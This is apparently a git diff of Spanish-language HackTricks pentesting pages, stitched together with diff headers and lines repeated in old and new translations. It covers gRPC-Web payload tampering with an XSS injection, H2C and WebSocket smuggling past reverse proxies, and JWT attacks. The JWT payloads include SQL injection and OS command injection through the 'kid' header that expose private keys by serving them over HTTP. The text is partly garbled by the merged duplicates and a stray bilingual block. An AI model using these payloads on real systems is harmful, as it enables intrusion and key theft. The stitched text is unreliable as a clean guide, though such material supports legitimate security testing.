<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres acceder a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop).
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
## **Manipulación de Cargas Útiles de gRPC-Web**
## **Manipulando Cargas útiles de gRPC-Web**
gRPC-Web utiliza Content-Type: `application/grpc-web-text` en las solicitudes, que es una especie de protobuf en forma codificada en base64, puedes usar la herramienta [gprc-coder](https://github.com/nxenon/grpc-pentest-suite), y también puedes instalar su [Extensión de Burp Suite](https://github.com/nxenon/grpc-pentest-suite).
### **Manual con la Herramienta gGRPC Coder**
### **Manual con la herramienta gGRPC Coder**
1. Primero decodifica la carga útil:
```bash
echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
```
2. Edita el contenido del payload decodificado
## 2. Edit the content of decoded payload
### English
```html
Once you have successfully intercepted and decoded the gRPC-web request, you can now edit the content of the payload. This can be useful for testing different scenarios or injecting payloads to exploit vulnerabilities. Simply make the necessary changes to the decoded payload and re-encode it before forwarding it to the server.
```
### Spanish
```html
Una vez que hayas interceptado y decodificado con éxito la solicitud gRPC-web, ahora puedes editar el contenido del payload. Esto puede ser útil para probar diferentes escenarios o inyectar payloads para explotar vulnerabilidades. Simplemente realiza los cambios necesarios en el payload decodificado y vuelve a codificarlo antes de reenviarlo al servidor.
```
```
nano out.txt
2: {"Amin Nasiri Xenon GRPC"}
3: 54
7: {"<script>alert(origin)</script>"}
```
3. Codifica el nuevo payload
3. Codifica la nueva carga útil
```bash
protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
```
4. Utilice la salida en el interceptor de Burp:
4. Utilizar la salida en el interceptor de Burp:
```
AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+
```
### **Manual con la Extensión gRPC-Web Coder para Burp Suite**
Puedes utilizar la Extensión gRPC-Web Coder para Burp Suite en [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) que es más fácil. Puedes leer las instrucciones de instalación y uso en su repositorio.
### **Manual con la Extensión de Burp Suite de Coder gRPC-Web**
Puedes utilizar la Extensión de Burp Suite de Coder gRPC-Web en la [Suite de Pruebas de gRPC-Web](https://github.com/nxenon/grpc-pentest-suite) que es más fácil. Puedes leer las instrucciones de instalación y uso en su repositorio.
## **Análisis de Archivos Javascript gRPC-Web**
Hay al menos un archivo Javascript en cada aplicación gRPC-Web. Puedes analizar el archivo para encontrar nuevos mensajes, endpoints y servicios. Intenta usar la herramienta [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite).
1. Descarga el Archivo Javascript gRPC-Web
## **Analizando Archivos Javascript de gRPC-Web**
Hay al menos un archivo Javascript en cada aplicación de gRPC-Web. Puedes analizar el archivo para encontrar nuevos mensajes, endpoints y servicios. Intenta usar la herramienta [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite).
1. Descarga el Archivo Javascript de gRPC-Web
2. Escanéalo con grpc-scan.py:
```bash
python3 grpc-scan.py --file main.js
```
3. Analice la salida y pruebe los nuevos endpoints y servicios:
3. Analizar la salida y probar los nuevos puntos finales y servicios nuevos:
```
Output:
Found Endpoints:
@ -139,17 +151,19 @@ grpc.gateway.testing.ClientStreamingEchoResponse:
```
## Referencias
* [Artículo Hacking into gRPC-Web por Amin Nasiri](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45)
* [Suite de Pentest gRPC-Web](https://github.com/nxenon/grpc-pentest-suite)
* [Artículo sobre cómo hackear gRPC-Web por Amin Nasiri](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45)
* [Suite de Pentesting gRPC-Web](https://github.com/nxenon/grpc-pentest-suite)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres acceder a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -6,17 +6,17 @@
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -26,15 +26,15 @@ Encuentra las vulnerabilidades que más importan para que puedas solucionarlas m
### HTTP2 sobre texto sin formato (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
H2C, o **http2 sobre texto sin formato**, se desvía de la norma de las conexiones HTTP transitorias al actualizar una conexión HTTP estándar a una persistente. Esta conexión actualizada utiliza el protocolo binario http2 para la comunicación continua, en lugar de la naturaleza de una sola solicitud del HTTP sin formato.
H2C, o **http2 sobre texto sin formato**, se desvía de la norma de conexiones HTTP transitorias al actualizar una conexión HTTP estándar a una persistente. Esta conexión actualizada utiliza el protocolo binario http2 para la comunicación continua, en lugar de la naturaleza de una sola solicitud del HTTP sin formato.
La esencia del problema de smuggling surge con el uso de un **proxy inverso**. Normalmente, el proxy inverso procesa y reenvía las solicitudes HTTP al backend, devolviendo la respuesta del backend después de eso. Sin embargo, cuando el encabezado `Connection: Upgrade` está presente en una solicitud HTTP (comúnmente visto con conexiones websocket), el **proxy inverso mantiene una conexión persistente** entre el cliente y el servidor, facilitando el intercambio continuo requerido por ciertos protocolos. Para las conexiones H2C, el cumplimiento del RFC requiere la presencia de tres encabezados específicos:
La esencia del problema de smuggling surge con el uso de un **proxy inverso**. Normalmente, el proxy inverso procesa y reenvía las solicitudes HTTP al backend, devolviendo la respuesta del backend después de eso. Sin embargo, cuando el encabezado `Connection: Upgrade` está presente en una solicitud HTTP (comúnmente visto con conexiones websocket), el **proxy inverso mantiene una conexión persistente** entre el cliente y el servidor, facilitando el intercambio continuo requerido por ciertos protocolos. Para las conexiones H2C, la adherencia al RFC requiere la presencia de tres encabezados específicos:
```
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
```
La vulnerabilidad surge cuando, después de actualizar una conexión, el proxy inverso deja de gestionar las solicitudes individuales, asumiendo que su trabajo de enrutamiento está completo después del establecimiento de la conexión. Explotar H2C Smuggling permite eludir las reglas del proxy inverso aplicadas durante el procesamiento de solicitudes, como el enrutamiento basado en la ruta, la autenticación y el procesamiento de WAF, asumiendo que se inicia con éxito una conexión H2C.
La vulnerabilidad surge cuando, después de actualizar una conexión, el proxy inverso deja de gestionar las solicitudes individuales, asumiendo que su trabajo de enrutamiento está completo después del establecimiento de la conexión. Explotar el H2C Smuggling permite eludir las reglas del proxy inverso aplicadas durante el procesamiento de solicitudes, como el enrutamiento basado en la ruta, la autenticación y el procesamiento de WAF, asumiendo que se inicia con éxito una conexión H2C.
### Proxies Vulnerables <a href="#exploitation" id="exploitation"></a>
@ -44,7 +44,7 @@ La vulnerabilidad depende del manejo por parte del proxy inverso de los encabeza
- Traefik
- Nuster
Por otro lado, estos servicios no reenvían inherentemente ambos encabezados durante el proxy-pass. Sin embargo, pueden estar configurados de forma insegura, permitiendo el reenvío no filtrado de los encabezados `Upgrade` y `Connection`:
Por el contrario, estos servicios no reenvían inherentemente ambos encabezados durante el proxy-pass. Sin embargo, pueden configurarse de forma insegura, permitiendo el reenvío no filtrado de los encabezados `Upgrade` y `Connection`:
- AWS ALB/CLB
- NGINX
@ -57,7 +57,7 @@ Por otro lado, estos servicios no reenvían inherentemente ambos encabezados dur
### Explotación <a href="#exploitation" id="exploitation"></a>
Es crucial tener en cuenta que no todos los servidores reenvían inherentemente los encabezados requeridos para una actualización de conexión H2C conforme. Por lo tanto, servidores como AWS ALB/CLB, NGINX y Apache Traffic Server, entre otros, bloquean naturalmente las conexiones H2C. No obstante, vale la pena probar con la variante no conforme `Connection: Upgrade`, que excluye el valor `HTTP2-Settings` del encabezado `Connection`, ya que algunos backends pueden no cumplir con los estándares.
Es crucial tener en cuenta que no todos los servidores reenvían inherentemente los encabezados necesarios para una actualización de conexión H2C conforme. Por lo tanto, servidores como AWS ALB/CLB, NGINX y Apache Traffic Server, entre otros, bloquean naturalmente las conexiones H2C. No obstante, vale la pena probar con la variante no conforme `Connection: Upgrade`, que excluye el valor `HTTP2-Settings` del encabezado `Connection`, ya que algunos backends pueden no cumplir con los estándares.
{% hint style="danger" %}
Independientemente de la **ruta** específica designada en la URL de `proxy_pass` (por ejemplo, `http://backend:9999/socket.io`), la conexión establecida se establece por defecto en `http://backend:9999`. Esto permite la interacción con cualquier ruta dentro de ese punto final interno, aprovechando esta técnica. En consecuencia, la especificación de una ruta en la URL de `proxy_pass` no restringe el acceso.
@ -69,15 +69,15 @@ Para obtener información adicional sobre esta vulnerabilidad, especialmente en
# Websocket Smuggling
El websocket smuggling, a diferencia de crear un túnel HTTP2 a un punto final accesible a través de un proxy, establece un túnel de Websocket para evitar posibles limitaciones del proxy y facilitar la comunicación directa con el punto final.
El websocket smuggling, a diferencia de crear un túnel HTTP2 a un punto final accesible a través de un proxy, establece un túnel websocket para eludir posibles limitaciones del proxy y facilitar la comunicación directa con el punto final.
## Escenario 1
En este escenario, un backend que ofrece una API de Websocket pública junto con una API REST interna inaccesible es el objetivo de un cliente malicioso que busca acceder a la API REST interna. El ataque se desarrolla en varios pasos:
En este escenario, un backend que ofrece una API WebSocket pública junto con una API REST interna inaccesible es el objetivo de un cliente malicioso que busca acceder a la API REST interna. El ataque se desarrolla en varios pasos:
1. El cliente inicia enviando una solicitud de Upgrade al proxy inverso con una versión de protocolo incorrecta `Sec-WebSocket-Version` en el encabezado. El proxy, al no validar el encabezado `Sec-WebSocket-Version`, considera válida la solicitud de Upgrade y la reenvía al backend.
2. El backend responde con un código de estado `426`, indicando la versión incorrecta del protocolo en el encabezado `Sec-WebSocket-Version`. El proxy inverso, pasando por alto el estado de respuesta del backend, asume la disposición para la comunicación de Websocket y retransmite la respuesta al cliente.
3. En consecuencia, el proxy inverso es engañado para creer que se ha establecido una conexión de Websocket entre el cliente y el backend, cuando en realidad el backend ha rechazado la solicitud de Upgrade. A pesar de esto, el proxy mantiene una conexión TCP o TLS abierta entre el cliente y el backend, lo que permite al cliente acceder sin restricciones a la API REST privada a través de esta conexión.
1. El cliente inicia enviando una solicitud de Upgrade al proxy inverso con una versión de protocolo `Sec-WebSocket-Version` incorrecta en el encabezado. El proxy, al no validar el encabezado `Sec-WebSocket-Version`, considera válida la solicitud de Upgrade y la reenvía al backend.
2. El backend responde con un código de estado `426`, indicando la versión incorrecta del protocolo en el encabezado `Sec-WebSocket-Version`. El proxy inverso, pasando por alto el estado de respuesta del backend, asume que está listo para la comunicación WebSocket y retransmite la respuesta al cliente.
3. En consecuencia, el proxy inverso es engañado para creer que se ha establecido una conexión WebSocket entre el cliente y el backend, cuando en realidad el backend ha rechazado la solicitud de Upgrade. A pesar de esto, el proxy mantiene una conexión TCP o TLS abierta entre el cliente y el backend, lo que permite al cliente acceder sin restricciones a la API REST privada a través de esta conexión.
Los proxies inversos afectados incluyen Varnish, que se negó a abordar el problema, y el proxy Envoy en la versión 1.8.0 o anterior, con versiones posteriores que han alterado el mecanismo de actualización. Otros proxies también pueden ser susceptibles.
@ -85,16 +85,16 @@ Los proxies inversos afectados incluyen Varnish, que se negó a abordar el probl
## Escenario 2
Este escenario implica un backend con una API de Websocket pública y una API REST pública para verificación de salud, junto con una API REST interna inaccesible. El ataque, más complejo, involucra los siguientes pasos:
Este escenario implica un backend con una API WebSocket pública y una API REST pública para verificación de salud, junto con una API REST interna inaccesible. El ataque, más complejo, involucra los siguientes pasos:
1. El cliente envía una solicitud POST para activar la API de verificación de salud, incluyendo un encabezado HTTP adicional `Upgrade: websocket`. NGINX, actuando como proxy inverso, interpreta esto como una solicitud de Upgrade estándar basada únicamente en el encabezado `Upgrade`, ignorando los otros aspectos de la solicitud, y la reenvía al backend.
2. El backend ejecuta la API de verificación de salud, accediendo a un recurso externo controlado por el atacante que devuelve una respuesta HTTP con el código de estado `101`. Esta respuesta, una vez recibida por el backend y reenviada a NGINX, engaña al proxy haciéndole creer que se ha establecido una conexión de Websocket debido a su validación únicamente del código de estado.
1. El cliente envía una solicitud POST para activar la API de verificación de salud, incluyendo un encabezado HTTP adicional `Upgrade: websocket`. NGINX, actuando como proxy inverso, interpreta esto como una solicitud de Upgrade estándar basada únicamente en el encabezado `Upgrade`, ignorando los demás aspectos de la solicitud, y la reenvía al backend.
2. El backend ejecuta la API de verificación de salud, accediendo a un recurso externo controlado por el atacante que devuelve una respuesta HTTP con el código de estado `101`. Esta respuesta, una vez recibida por el backend y reenviada a NGINX, engaña al proxy haciéndole creer que se ha establecido una conexión WebSocket debido a su validación únicamente del código de estado.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
> **Advertencia:** La complejidad de esta técnica aumenta, ya que requiere la capacidad de interactuar con un punto final capaz de devolver un código de estado 101.
En última instancia, NGINX es engañado para creer que existe una conexión de Websocket entre el cliente y el backend. En realidad, no existe tal conexión; la API REST de verificación de salud era el objetivo. Sin embargo, el proxy inverso mantiene la conexión abierta, lo que permite al cliente acceder a la API REST privada a través de ella.
En última instancia, NGINX es engañado para creer que existe una conexión WebSocket entre el cliente y el backend. En realidad, no existe tal conexión; la API REST de verificación de salud era el objetivo. Sin embargo, el proxy inverso mantiene la conexión abierta, lo que permite al cliente acceder a la API REST privada a través de ella.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
@ -126,7 +126,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -7,9 +7,9 @@
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -21,7 +21,7 @@ Otras formas de apoyar a HackTricks:
{% embed url="https://go.intigriti.com/hacktricks" %}
**Parte de esta publicación se basa en el increíble post:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Autor de la excelente herramienta para pentesting de JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
**Autor de la gran herramienta para pentesting de JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **Victorias Rápidas**
@ -47,7 +47,7 @@ Simplemente puedes manipular los datos dejando la firma tal como está y verific
Para verificar si la firma de un JWT está siendo verificada:
- Un mensaje de error sugiere una verificación en curso; se deben revisar los detalles sensibles en los errores detallados.
- Un mensaje de error sugiere una verificación en curso; los detalles sensibles en errores detallados deben ser revisados.
- Un cambio en la página devuelta también indica verificación.
- La falta de cambio sugiere que no hay verificación; en este caso, es cuando se debe experimentar con la manipulación de las reclamaciones del payload.
@ -109,7 +109,7 @@ Las instrucciones detallan un método para evaluar la seguridad de los tokens JW
python3 jwt_tool.py JWT_AQUÍ -X s
```
### Resumen de Problemas con "Kid"
### Resumen de Problemas con "kid"
Una afirmación de encabezado opcional conocida como `kid` se utiliza para identificar una clave específica, lo cual es especialmente vital en entornos donde existen múltiples claves para la verificación de la firma del token. Esta afirmación ayuda a seleccionar la clave apropiada para verificar la firma de un token.
@ -123,17 +123,19 @@ La afirmación `kid` también podría ser explotada para navegar a través del s
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
### Inyección de SQL a través de "kid"
Al apuntar a archivos con contenido predecible, es posible falsificar un JWT válido. Por ejemplo, el archivo `/proc/sys/kernel/randomize_va_space` en sistemas Linux, conocido por contener el valor **2**, puede ser utilizado en el parámetro `kid` con **2** como la contraseña simétrica para la generación del JWT.
Si el contenido de la afirmación `kid` se utiliza para obtener una contraseña de una base de datos, se podría facilitar una inyección de SQL modificando la carga útil de `kid`. Un ejemplo de carga útil que utiliza inyección de SQL para alterar el proceso de firma de JWT incluye:
#### Inyección SQL a través de "kid"
Si el contenido de la afirmación `kid` se emplea para recuperar una contraseña de una base de datos, una inyección SQL podría facilitarse al modificar la carga útil de `kid`. Un ejemplo de carga útil que utiliza inyección SQL para alterar el proceso de firma del JWT incluye:
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
Esta alteración obliga a utilizar una clave secreta conocida, `ATTACKER`, para la firma de JWT.
Esta alteración fuerza el uso de una clave secreta conocida, `ATTACKER`, para la firma del JWT.
### Inyección de SO a través de "kid"
#### Inyección de SO a través de "kid"
Un escenario en el que el parámetro `kid` especifica una ruta de archivo utilizada en un contexto de ejecución de comandos podría llevar a vulnerabilidades de Ejecución de Código Remoto (RCE). Al inyectar comandos en el parámetro `kid`, es posible exponer claves privadas. Un ejemplo de carga útil para lograr RCE y exposición de claves es:
Un escenario donde el parámetro `kid` especifica una ruta de archivo utilizada dentro de un contexto de ejecución de comandos podría llevar a vulnerabilidades de Ejecución Remota de Código (RCE). Al inyectar comandos en el parámetro `kid`, es posible exponer claves privadas. Un ejemplo de carga útil para lograr RCE y exposición de claves es:
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
@ -142,7 +144,7 @@ Un escenario en el que el parámetro `kid` especifica una ruta de archivo utiliz
#### jku
jku significa **URL de conjunto de claves JWK**.\
Si el token utiliza una afirmación de **Encabezado** "**jku**", **verifique la URL proporcionada**. Esta debería apuntar a una URL que contenga el archivo JWKS que contiene la Clave Pública para verificar el token. Manipule el token para que apunte el valor de jku a un servicio web del cual pueda monitorear el tráfico.
Si el token utiliza una afirmación de encabezado “**jku**”, **verifique la URL proporcionada**. Esta debería apuntar a una URL que contenga el archivo JWKS que contiene la Clave Pública para verificar el token. Manipule el token para que el valor jku apunte a un servicio web del cual pueda monitorear el tráfico.
Primero, necesitas crear un nuevo certificado con nuevas claves privadas y públicas.
```bash
@ -221,12 +223,14 @@ const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
Finalmente, utilizando la clave pública y privada y los nuevos valores "n" y "e" puedes usar [jwt.io](https://jwt.io) para forjar un nuevo JWT válido con cualquier información.
### JTI (JWT ID)
La afirmación JTI (JWT ID) proporciona un identificador único para un Token JWT. Se puede utilizar para evitar que el token sea reutilizado.\
La afirmación JTI (JWT ID) proporciona un identificador único para un Token JWT. Puede ser utilizado para evitar que el token sea reutilizado.\
Sin embargo, imagina una situación donde la longitud máxima del ID es 4 (0001-9999). La solicitud 0001 y 10001 van a utilizar el mismo ID. Por lo tanto, si el backend está incrementando el ID en cada solicitud, podrías abusar de esto para **repetir una solicitud** (necesitando enviar 10000 solicitudes entre cada repetición exitosa).
### Reclamos registrados JWT
### Reclamos registrados en JWT
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
@ -234,7 +238,7 @@ Sin embargo, imagina una situación donde la longitud máxima del ID es 4 (0001-
**Ataques de Relevo entre Servicios Cruzados**
Se ha observado que algunas aplicaciones web confían en un servicio JWT de confianza para la generación y gestión de sus tokens. Se han registrado casos en los que un token, generado para un cliente por el servicio JWT, fue aceptado por otro cliente del mismo servicio JWT. Si se observa la emisión o renovación de un JWT a través de un servicio de terceros, se debe investigar la posibilidad de registrarse en una cuenta en otro cliente de ese servicio utilizando el mismo nombre de usuario/correo electrónico. Luego se debe intentar repetir el token obtenido en una solicitud al objetivo para ver si es aceptado.
Se ha observado que algunas aplicaciones web confían en un servicio JWT de confianza para la generación y gestión de sus tokens. Se han registrado casos donde un token, generado para un cliente por el servicio JWT, fue aceptado por otro cliente del mismo servicio JWT. Si se observa la emisión o renovación de un JWT a través de un servicio de terceros, se debe investigar la posibilidad de registrarse en una cuenta en otro cliente de ese servicio utilizando el mismo nombre de usuario/correo electrónico. Luego se debe intentar repetir el token obtenido en una solicitud al objetivo para ver si es aceptado.
- La aceptación de tu token podría indicar un problema crítico, potencialmente permitiendo la suplantación de la cuenta de cualquier usuario. Sin embargo, se debe tener en cuenta que podría ser necesario obtener permiso para pruebas más amplias si se registra en una aplicación de terceros, ya que esto podría entrar en una zona legal gris.
@ -249,20 +253,20 @@ La caducidad del token se verifica utilizando el reclamo de carga útil "exp". D
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma de **recompensas por errores premium creada por hackers, para hackers**! ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**!
